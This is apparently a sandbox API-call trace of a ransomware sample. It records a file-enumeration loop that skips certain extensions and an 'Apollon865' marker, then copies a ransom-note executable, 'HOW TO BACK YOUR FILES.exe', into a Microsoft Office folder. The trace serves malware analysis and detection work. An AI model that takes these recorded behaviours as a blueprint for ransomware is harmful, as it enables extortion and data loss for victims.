	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2=".ini") returned 1
	[0067.513] lstrlenW (lpString=".sys") returned 4
	[0067.513] lstrcmpiW (lpString1="MSGR3EN.LEX", lpString2=".sys") returned 1
	[0067.513] lstrlenW (lpString="MSGR3EN.LEX") returned 11
	[0067.514] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSGR3ES.LEX" | out: lpString1="MSGR3ES.LEX") returned="MSGR3ES.LEX"
	[0067.514] lstrlenW (lpString="MSGR3ES.LEX") returned 11
	[0067.514] lstrlenW (lpString="Apollon865") returned 10
	[0067.514] lstrcmpiW (lpString1="SGR3ES.LEX", lpString2="Apollon865") returned 1
	[0067.514] lstrlenW (lpString=".dll") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3ES.LEX", lpString2=".dll") returned 1
	[0067.514] lstrlenW (lpString=".lnk") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3ES.LEX", lpString2=".lnk") returned 1
	[0067.514] lstrlenW (lpString=".ini") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3ES.LEX", lpString2=".ini") returned 1
	[0067.514] lstrlenW (lpString=".sys") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3ES.LEX", lpString2=".sys") returned 1
	[0067.514] lstrlenW (lpString="MSGR3ES.LEX") returned 11
	[0067.514] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSGR3FR.LEX" | out: lpString1="MSGR3FR.LEX") returned="MSGR3FR.LEX"
	[0067.514] lstrlenW (lpString="MSGR3FR.LEX") returned 11
	[0067.514] lstrlenW (lpString="Apollon865") returned 10
	[0067.514] lstrcmpiW (lpString1="SGR3FR.LEX", lpString2="Apollon865") returned 1
	[0067.514] lstrlenW (lpString=".dll") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3FR.LEX", lpString2=".dll") returned 1
	[0067.514] lstrlenW (lpString=".lnk") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3FR.LEX", lpString2=".lnk") returned 1
	[0067.514] lstrlenW (lpString=".ini") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3FR.LEX", lpString2=".ini") returned 1
	[0067.514] lstrlenW (lpString=".sys") returned 4
	[0067.514] lstrcmpiW (lpString1="MSGR3FR.LEX", lpString2=".sys") returned 1
	[0067.514] lstrlenW (lpString="MSGR3FR.LEX") returned 11
	[0067.514] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7EN.DLL" | out: lpString1="MSHY7EN.DLL") returned="MSHY7EN.DLL"
	[0067.514] lstrlenW (lpString="MSHY7EN.DLL") returned 11
	[0067.514] lstrlenW (lpString="Apollon865") returned 10
	[0067.514] lstrcmpiW (lpString1="SHY7EN.DLL", lpString2="Apollon865") returned 1
	[0067.515] lstrlenW (lpString=".dll") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.DLL", lpString2=".dll") returned 1
	[0067.515] lstrlenW (lpString=".lnk") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.DLL", lpString2=".lnk") returned 1
	[0067.515] lstrlenW (lpString=".ini") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.DLL", lpString2=".ini") returned 1
	[0067.515] lstrlenW (lpString=".sys") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.DLL", lpString2=".sys") returned 1
	[0067.515] lstrlenW (lpString="MSHY7EN.DLL") returned 11
	[0067.515] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7EN.LEX" | out: lpString1="MSHY7EN.LEX") returned="MSHY7EN.LEX"
	[0067.515] lstrlenW (lpString="MSHY7EN.LEX") returned 11
	[0067.515] lstrlenW (lpString="Apollon865") returned 10
	[0067.515] lstrcmpiW (lpString1="SHY7EN.LEX", lpString2="Apollon865") returned 1
	[0067.515] lstrlenW (lpString=".dll") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.LEX", lpString2=".dll") returned 1
	[0067.515] lstrlenW (lpString=".lnk") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.LEX", lpString2=".lnk") returned 1
	[0067.515] lstrlenW (lpString=".ini") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.LEX", lpString2=".ini") returned 1
	[0067.515] lstrlenW (lpString=".sys") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7EN.LEX", lpString2=".sys") returned 1
	[0067.515] lstrlenW (lpString="MSHY7EN.LEX") returned 11
	[0067.515] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7ES.DLL" | out: lpString1="MSHY7ES.DLL") returned="MSHY7ES.DLL"
	[0067.515] lstrlenW (lpString="MSHY7ES.DLL") returned 11
	[0067.515] lstrlenW (lpString="Apollon865") returned 10
	[0067.515] lstrcmpiW (lpString1="SHY7ES.DLL", lpString2="Apollon865") returned 1
	[0067.515] lstrlenW (lpString=".dll") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7ES.DLL", lpString2=".dll") returned 1
	[0067.515] lstrlenW (lpString=".lnk") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7ES.DLL", lpString2=".lnk") returned 1
	[0067.515] lstrlenW (lpString=".ini") returned 4
	[0067.515] lstrcmpiW (lpString1="MSHY7ES.DLL", lpString2=".ini") returned 1
	[0067.516] lstrlenW (lpString=".sys") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7ES.DLL", lpString2=".sys") returned 1
	[0067.516] lstrlenW (lpString="MSHY7ES.DLL") returned 11
	[0067.516] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7ES.LEX" | out: lpString1="MSHY7ES.LEX") returned="MSHY7ES.LEX"
	[0067.516] lstrlenW (lpString="MSHY7ES.LEX") returned 11
	[0067.516] lstrlenW (lpString="Apollon865") returned 10
	[0067.516] lstrcmpiW (lpString1="SHY7ES.LEX", lpString2="Apollon865") returned 1
	[0067.516] lstrlenW (lpString=".dll") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7ES.LEX", lpString2=".dll") returned 1
	[0067.516] lstrlenW (lpString=".lnk") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7ES.LEX", lpString2=".lnk") returned 1
	[0067.516] lstrlenW (lpString=".ini") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7ES.LEX", lpString2=".ini") returned 1
	[0067.516] lstrlenW (lpString=".sys") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7ES.LEX", lpString2=".sys") returned 1
	[0067.516] lstrlenW (lpString="MSHY7ES.LEX") returned 11
	[0067.516] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7FR.DLL" | out: lpString1="MSHY7FR.DLL") returned="MSHY7FR.DLL"
	[0067.516] lstrlenW (lpString="MSHY7FR.DLL") returned 11
	[0067.516] lstrlenW (lpString="Apollon865") returned 10
	[0067.516] lstrcmpiW (lpString1="SHY7FR.DLL", lpString2="Apollon865") returned 1
	[0067.516] lstrlenW (lpString=".dll") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7FR.DLL", lpString2=".dll") returned 1
	[0067.516] lstrlenW (lpString=".lnk") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7FR.DLL", lpString2=".lnk") returned 1
	[0067.516] lstrlenW (lpString=".ini") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7FR.DLL", lpString2=".ini") returned 1
	[0067.516] lstrlenW (lpString=".sys") returned 4
	[0067.516] lstrcmpiW (lpString1="MSHY7FR.DLL", lpString2=".sys") returned 1
	[0067.516] lstrlenW (lpString="MSHY7FR.DLL") returned 11
	[0067.516] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSHY7FR.LEX" | out: lpString1="MSHY7FR.LEX") returned="MSHY7FR.LEX"
	[0067.517] lstrlenW (lpString="MSHY7FR.LEX") returned 11
	[0067.517] lstrlenW (lpString="Apollon865") returned 10
	[0067.517] lstrcmpiW (lpString1="SHY7FR.LEX", lpString2="Apollon865") returned 1
	[0067.517] lstrlenW (lpString=".dll") returned 4
	[0067.517] lstrcmpiW (lpString1="MSHY7FR.LEX", lpString2=".dll") returned 1
	[0067.517] lstrlenW (lpString=".lnk") returned 4
	[0067.517] lstrcmpiW (lpString1="MSHY7FR.LEX", lpString2=".lnk") returned 1
	[0067.517] lstrlenW (lpString=".ini") returned 4
	[0067.517] lstrcmpiW (lpString1="MSHY7FR.LEX", lpString2=".ini") returned 1
	[0067.517] lstrlenW (lpString=".sys") returned 4
	[0067.517] lstrcmpiW (lpString1="MSHY7FR.LEX", lpString2=".sys") returned 1
	[0067.517] lstrlenW (lpString="MSHY7FR.LEX") returned 11
	[0067.518] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7EN.DLL" | out: lpString1="MSSP7EN.DLL") returned="MSSP7EN.DLL"
	[0067.518] lstrlenW (lpString="MSSP7EN.DLL") returned 11
	[0067.518] lstrlenW (lpString="Apollon865") returned 10
	[0067.518] lstrcmpiW (lpString1="SSP7EN.DLL", lpString2="Apollon865") returned 1
	[0067.518] lstrlenW (lpString=".dll") returned 4
	[0067.518] lstrcmpiW (lpString1="MSSP7EN.DLL", lpString2=".dll") returned 1
	[0067.518] lstrlenW (lpString=".lnk") returned 4
	[0067.518] lstrcmpiW (lpString1="MSSP7EN.DLL", lpString2=".lnk") returned 1
	[0067.518] lstrlenW (lpString=".ini") returned 4
	[0067.518] lstrcmpiW (lpString1="MSSP7EN.DLL", lpString2=".ini") returned 1
	[0067.518] lstrlenW (lpString=".sys") returned 4
	[0067.518] lstrcmpiW (lpString1="MSSP7EN.DLL", lpString2=".sys") returned 1
	[0067.518] lstrlenW (lpString="MSSP7EN.DLL") returned 11
	[0067.518] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7EN.dub" | out: lpString1="MSSP7EN.dub") returned="MSSP7EN.dub"
	[0067.518] lstrlenW (lpString="MSSP7EN.dub") returned 11
	[0067.519] lstrlenW (lpString="Apollon865") returned 10
	[0067.519] lstrcmpiW (lpString1="SSP7EN.dub", lpString2="Apollon865") returned 1
	[0067.519] lstrlenW (lpString=".dll") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.dub", lpString2=".dll") returned 1
	[0067.519] lstrlenW (lpString=".lnk") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.dub", lpString2=".lnk") returned 1
	[0067.519] lstrlenW (lpString=".ini") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.dub", lpString2=".ini") returned 1
	[0067.519] lstrlenW (lpString=".sys") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.dub", lpString2=".sys") returned 1
	[0067.519] lstrlenW (lpString="MSSP7EN.dub") returned 11
	[0067.519] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7EN.LEX" | out: lpString1="MSSP7EN.LEX") returned="MSSP7EN.LEX"
	[0067.519] lstrlenW (lpString="MSSP7EN.LEX") returned 11
	[0067.519] lstrlenW (lpString="Apollon865") returned 10
	[0067.519] lstrcmpiW (lpString1="SSP7EN.LEX", lpString2="Apollon865") returned 1
	[0067.519] lstrlenW (lpString=".dll") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.LEX", lpString2=".dll") returned 1
	[0067.519] lstrlenW (lpString=".lnk") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.LEX", lpString2=".lnk") returned 1
	[0067.519] lstrlenW (lpString=".ini") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.LEX", lpString2=".ini") returned 1
	[0067.519] lstrlenW (lpString=".sys") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7EN.LEX", lpString2=".sys") returned 1
	[0067.519] lstrlenW (lpString="MSSP7EN.LEX") returned 11
	[0067.519] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7ES.DLL" | out: lpString1="MSSP7ES.DLL") returned="MSSP7ES.DLL"
	[0067.519] lstrlenW (lpString="MSSP7ES.DLL") returned 11
	[0067.519] lstrlenW (lpString="Apollon865") returned 10
	[0067.519] lstrcmpiW (lpString1="SSP7ES.DLL", lpString2="Apollon865") returned 1
	[0067.519] lstrlenW (lpString=".dll") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7ES.DLL", lpString2=".dll") returned 1
	[0067.519] lstrlenW (lpString=".lnk") returned 4
	[0067.519] lstrcmpiW (lpString1="MSSP7ES.DLL", lpString2=".lnk") returned 1
	[0067.520] lstrlenW (lpString=".ini") returned 4
	[0067.520] lstrcmpiW (lpString1="MSSP7ES.DLL", lpString2=".ini") returned 1
	[0067.520] lstrlenW (lpString=".sys") returned 4
	[0067.520] lstrcmpiW (lpString1="MSSP7ES.DLL", lpString2=".sys") returned 1
	[0067.520] lstrlenW (lpString="MSSP7ES.DLL") returned 11
	[0067.520] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7ES.dub" | out: lpString1="MSSP7ES.dub") returned="MSSP7ES.dub"
	[0067.520] lstrlenW (lpString="MSSP7ES.dub") returned 11
	[0067.520] lstrlenW (lpString="Apollon865") returned 10
	[0067.520] lstrcmpiW (lpString1="SSP7ES.dub", lpString2="Apollon865") returned 1
	[0067.520] lstrlenW (lpString=".dll") returned 4
	[0067.520] lstrcmpiW (lpString1="MSSP7ES.dub", lpString2=".dll") returned 1
	[0067.520] lstrlenW (lpString=".lnk") returned 4
	[0067.520] lstrcmpiW (lpString1="MSSP7ES.dub", lpString2=".lnk") returned 1
	[0067.520] lstrlenW (lpString=".ini") returned 4
	[0067.520] lstrcmpiW (lpString1="MSSP7ES.dub", lpString2=".ini") returned 1
	[0067.520] lstrlenW (lpString=".sys") returned 4
	[0067.521] lstrcmpiW (lpString1="MSSP7ES.dub", lpString2=".sys") returned 1
	[0067.521] lstrlenW (lpString="MSSP7ES.dub") returned 11
	[0067.521] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7ES.LEX" | out: lpString1="MSSP7ES.LEX") returned="MSSP7ES.LEX"
	[0067.521] lstrlenW (lpString="MSSP7ES.LEX") returned 11
	[0067.521] lstrlenW (lpString="Apollon865") returned 10
	[0067.521] lstrcmpiW (lpString1="SSP7ES.LEX", lpString2="Apollon865") returned 1
	[0067.521] lstrlenW (lpString=".dll") returned 4
	[0067.521] lstrcmpiW (lpString1="MSSP7ES.LEX", lpString2=".dll") returned 1
	[0067.521] lstrlenW (lpString=".lnk") returned 4
	[0067.521] lstrcmpiW (lpString1="MSSP7ES.LEX", lpString2=".lnk") returned 1
	[0067.521] lstrlenW (lpString=".ini") returned 4
	[0067.521] lstrcmpiW (lpString1="MSSP7ES.LEX", lpString2=".ini") returned 1
	[0067.521] lstrlenW (lpString=".sys") returned 4
	[0067.521] lstrcmpiW (lpString1="MSSP7ES.LEX", lpString2=".sys") returned 1
	[0067.521] lstrlenW (lpString="MSSP7ES.LEX") returned 11
	[0067.522] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7FR.DLL" | out: lpString1="MSSP7FR.DLL") returned="MSSP7FR.DLL"
	[0067.522] lstrlenW (lpString="MSSP7FR.DLL") returned 11
	[0067.522] lstrlenW (lpString="Apollon865") returned 10
	[0067.522] lstrcmpiW (lpString1="SSP7FR.DLL", lpString2="Apollon865") returned 1
	[0067.522] lstrlenW (lpString=".dll") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.DLL", lpString2=".dll") returned 1
	[0067.522] lstrlenW (lpString=".lnk") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.DLL", lpString2=".lnk") returned 1
	[0067.522] lstrlenW (lpString=".ini") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.DLL", lpString2=".ini") returned 1
	[0067.522] lstrlenW (lpString=".sys") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.DLL", lpString2=".sys") returned 1
	[0067.522] lstrlenW (lpString="MSSP7FR.DLL") returned 11
	[0067.522] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7FR.dub" | out: lpString1="MSSP7FR.dub") returned="MSSP7FR.dub"
	[0067.522] lstrlenW (lpString="MSSP7FR.dub") returned 11
	[0067.522] lstrlenW (lpString="Apollon865") returned 10
	[0067.522] lstrcmpiW (lpString1="SSP7FR.dub", lpString2="Apollon865") returned 1
	[0067.522] lstrlenW (lpString=".dll") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.dub", lpString2=".dll") returned 1
	[0067.522] lstrlenW (lpString=".lnk") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.dub", lpString2=".lnk") returned 1
	[0067.522] lstrlenW (lpString=".ini") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.dub", lpString2=".ini") returned 1
	[0067.522] lstrlenW (lpString=".sys") returned 4
	[0067.522] lstrcmpiW (lpString1="MSSP7FR.dub", lpString2=".sys") returned 1
	[0067.522] lstrlenW (lpString="MSSP7FR.dub") returned 11
	[0067.522] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSSP7FR.LEX" | out: lpString1="MSSP7FR.LEX") returned="MSSP7FR.LEX"
	[0067.523] lstrlenW (lpString="MSSP7FR.LEX") returned 11
	[0067.523] lstrlenW (lpString="Apollon865") returned 10
	[0067.523] lstrcmpiW (lpString1="SSP7FR.LEX", lpString2="Apollon865") returned 1
	[0067.523] lstrlenW (lpString=".dll") returned 4
	[0067.523] lstrcmpiW (lpString1="MSSP7FR.LEX", lpString2=".dll") returned 1
	[0067.523] lstrlenW (lpString=".lnk") returned 4
	[0067.523] lstrcmpiW (lpString1="MSSP7FR.LEX", lpString2=".lnk") returned 1
	[0067.523] lstrlenW (lpString=".ini") returned 4
	[0067.523] lstrcmpiW (lpString1="MSSP7FR.LEX", lpString2=".ini") returned 1
	[0067.523] lstrlenW (lpString=".sys") returned 4
	[0067.523] lstrcmpiW (lpString1="MSSP7FR.LEX", lpString2=".sys") returned 1
	[0067.523] lstrlenW (lpString="MSSP7FR.LEX") returned 11
	[0067.523] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7EN.DLL" | out: lpString1="MSTH7EN.DLL") returned="MSTH7EN.DLL"
	[0067.523] lstrlenW (lpString="MSTH7EN.DLL") returned 11
	[0067.523] lstrlenW (lpString="Apollon865") returned 10
	[0067.523] lstrcmpiW (lpString1="STH7EN.DLL", lpString2="Apollon865") returned 1
	[0067.523] lstrlenW (lpString=".dll") returned 4
	[0067.523] lstrcmpiW (lpString1="MSTH7EN.DLL", lpString2=".dll") returned 1
	[0067.523] lstrlenW (lpString=".lnk") returned 4
	[0067.523] lstrcmpiW (lpString1="MSTH7EN.DLL", lpString2=".lnk") returned 1
	[0067.523] lstrlenW (lpString=".ini") returned 4
	[0067.523] lstrcmpiW (lpString1="MSTH7EN.DLL", lpString2=".ini") returned 1
	[0067.523] lstrlenW (lpString=".sys") returned 4
	[0067.523] lstrcmpiW (lpString1="MSTH7EN.DLL", lpString2=".sys") returned 1
	[0067.523] lstrlenW (lpString="MSTH7EN.DLL") returned 11
	[0067.523] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7EN.LEX" | out: lpString1="MSTH7EN.LEX") returned="MSTH7EN.LEX"
	[0067.523] lstrlenW (lpString="MSTH7EN.LEX") returned 11
	[0067.523] lstrlenW (lpString="Apollon865") returned 10
	[0067.523] lstrcmpiW (lpString1="STH7EN.LEX", lpString2="Apollon865") returned 1
	[0067.523] lstrlenW (lpString=".dll") returned 4
	[0067.523] lstrcmpiW (lpString1="MSTH7EN.LEX", lpString2=".dll") returned 1
	[0067.523] lstrlenW (lpString=".lnk") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7EN.LEX", lpString2=".lnk") returned 1
	[0067.524] lstrlenW (lpString=".ini") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7EN.LEX", lpString2=".ini") returned 1
	[0067.524] lstrlenW (lpString=".sys") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7EN.LEX", lpString2=".sys") returned 1
	[0067.524] lstrlenW (lpString="MSTH7EN.LEX") returned 11
	[0067.524] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7ES.DLL" | out: lpString1="MSTH7ES.DLL") returned="MSTH7ES.DLL"
	[0067.524] lstrlenW (lpString="MSTH7ES.DLL") returned 11
	[0067.524] lstrlenW (lpString="Apollon865") returned 10
	[0067.524] lstrcmpiW (lpString1="STH7ES.DLL", lpString2="Apollon865") returned 1
	[0067.524] lstrlenW (lpString=".dll") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.DLL", lpString2=".dll") returned 1
	[0067.524] lstrlenW (lpString=".lnk") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.DLL", lpString2=".lnk") returned 1
	[0067.524] lstrlenW (lpString=".ini") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.DLL", lpString2=".ini") returned 1
	[0067.524] lstrlenW (lpString=".sys") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.DLL", lpString2=".sys") returned 1
	[0067.524] lstrlenW (lpString="MSTH7ES.DLL") returned 11
	[0067.524] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7ES.LEX" | out: lpString1="MSTH7ES.LEX") returned="MSTH7ES.LEX"
	[0067.524] lstrlenW (lpString="MSTH7ES.LEX") returned 11
	[0067.524] lstrlenW (lpString="Apollon865") returned 10
	[0067.524] lstrcmpiW (lpString1="STH7ES.LEX", lpString2="Apollon865") returned 1
	[0067.524] lstrlenW (lpString=".dll") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.LEX", lpString2=".dll") returned 1
	[0067.524] lstrlenW (lpString=".lnk") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.LEX", lpString2=".lnk") returned 1
	[0067.524] lstrlenW (lpString=".ini") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.LEX", lpString2=".ini") returned 1
	[0067.524] lstrlenW (lpString=".sys") returned 4
	[0067.524] lstrcmpiW (lpString1="MSTH7ES.LEX", lpString2=".sys") returned 1
	[0067.525] lstrlenW (lpString="MSTH7ES.LEX") returned 11
	[0067.525] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7FR.DLL" | out: lpString1="MSTH7FR.DLL") returned="MSTH7FR.DLL"
	[0067.525] lstrlenW (lpString="MSTH7FR.DLL") returned 11
	[0067.525] lstrlenW (lpString="Apollon865") returned 10
	[0067.525] lstrcmpiW (lpString1="STH7FR.DLL", lpString2="Apollon865") returned 1
	[0067.525] lstrlenW (lpString=".dll") returned 4
	[0067.525] lstrcmpiW (lpString1="MSTH7FR.DLL", lpString2=".dll") returned 1
	[0067.525] lstrlenW (lpString=".lnk") returned 4
	[0067.525] lstrcmpiW (lpString1="MSTH7FR.DLL", lpString2=".lnk") returned 1
	[0067.525] lstrlenW (lpString=".ini") returned 4
	[0067.525] lstrcmpiW (lpString1="MSTH7FR.DLL", lpString2=".ini") returned 1
	[0067.525] lstrlenW (lpString=".sys") returned 4
	[0067.525] lstrcmpiW (lpString1="MSTH7FR.DLL", lpString2=".sys") returned 1
	[0067.525] lstrlenW (lpString="MSTH7FR.DLL") returned 11
	[0067.526] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSTH7FR.LEX" | out: lpString1="MSTH7FR.LEX") returned="MSTH7FR.LEX"
	[0067.526] lstrlenW (lpString="MSTH7FR.LEX") returned 11
	[0067.526] lstrlenW (lpString="Apollon865") returned 10
	[0067.526] lstrcmpiW (lpString1="STH7FR.LEX", lpString2="Apollon865") returned 1
	[0067.526] lstrlenW (lpString=".dll") returned 4
	[0067.526] lstrcmpiW (lpString1="MSTH7FR.LEX", lpString2=".dll") returned 1
	[0067.526] lstrlenW (lpString=".lnk") returned 4
	[0067.526] lstrcmpiW (lpString1="MSTH7FR.LEX", lpString2=".lnk") returned 1
	[0067.526] lstrlenW (lpString=".ini") returned 4
	[0067.526] lstrcmpiW (lpString1="MSTH7FR.LEX", lpString2=".ini") returned 1
	[0067.526] lstrlenW (lpString=".sys") returned 4
	[0067.526] lstrcmpiW (lpString1="MSTH7FR.LEX", lpString2=".sys") returned 1
	[0067.526] lstrlenW (lpString="MSTH7FR.LEX") returned 11
	[0067.526] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082"
	[0067.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0067.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbc8 | out: hHeap=0x580000) returned 1
	[0067.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned 53
	[0067.526] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082"
	[0067.526] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.526] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0067.647] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40653df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x40653df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.648] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.648] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.648] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.648] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40653df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x40653df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.648] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.648] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.648] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.648] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.648] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40653df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x40653df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.648] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.648] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0067.648] lstrcmpiW (lpString1="MSGR3ES.DLL", lpString2=".") returned 1
